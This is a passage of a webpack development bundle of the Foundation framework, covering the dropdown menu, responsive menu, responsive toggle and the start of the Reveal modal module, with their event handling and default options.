null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n 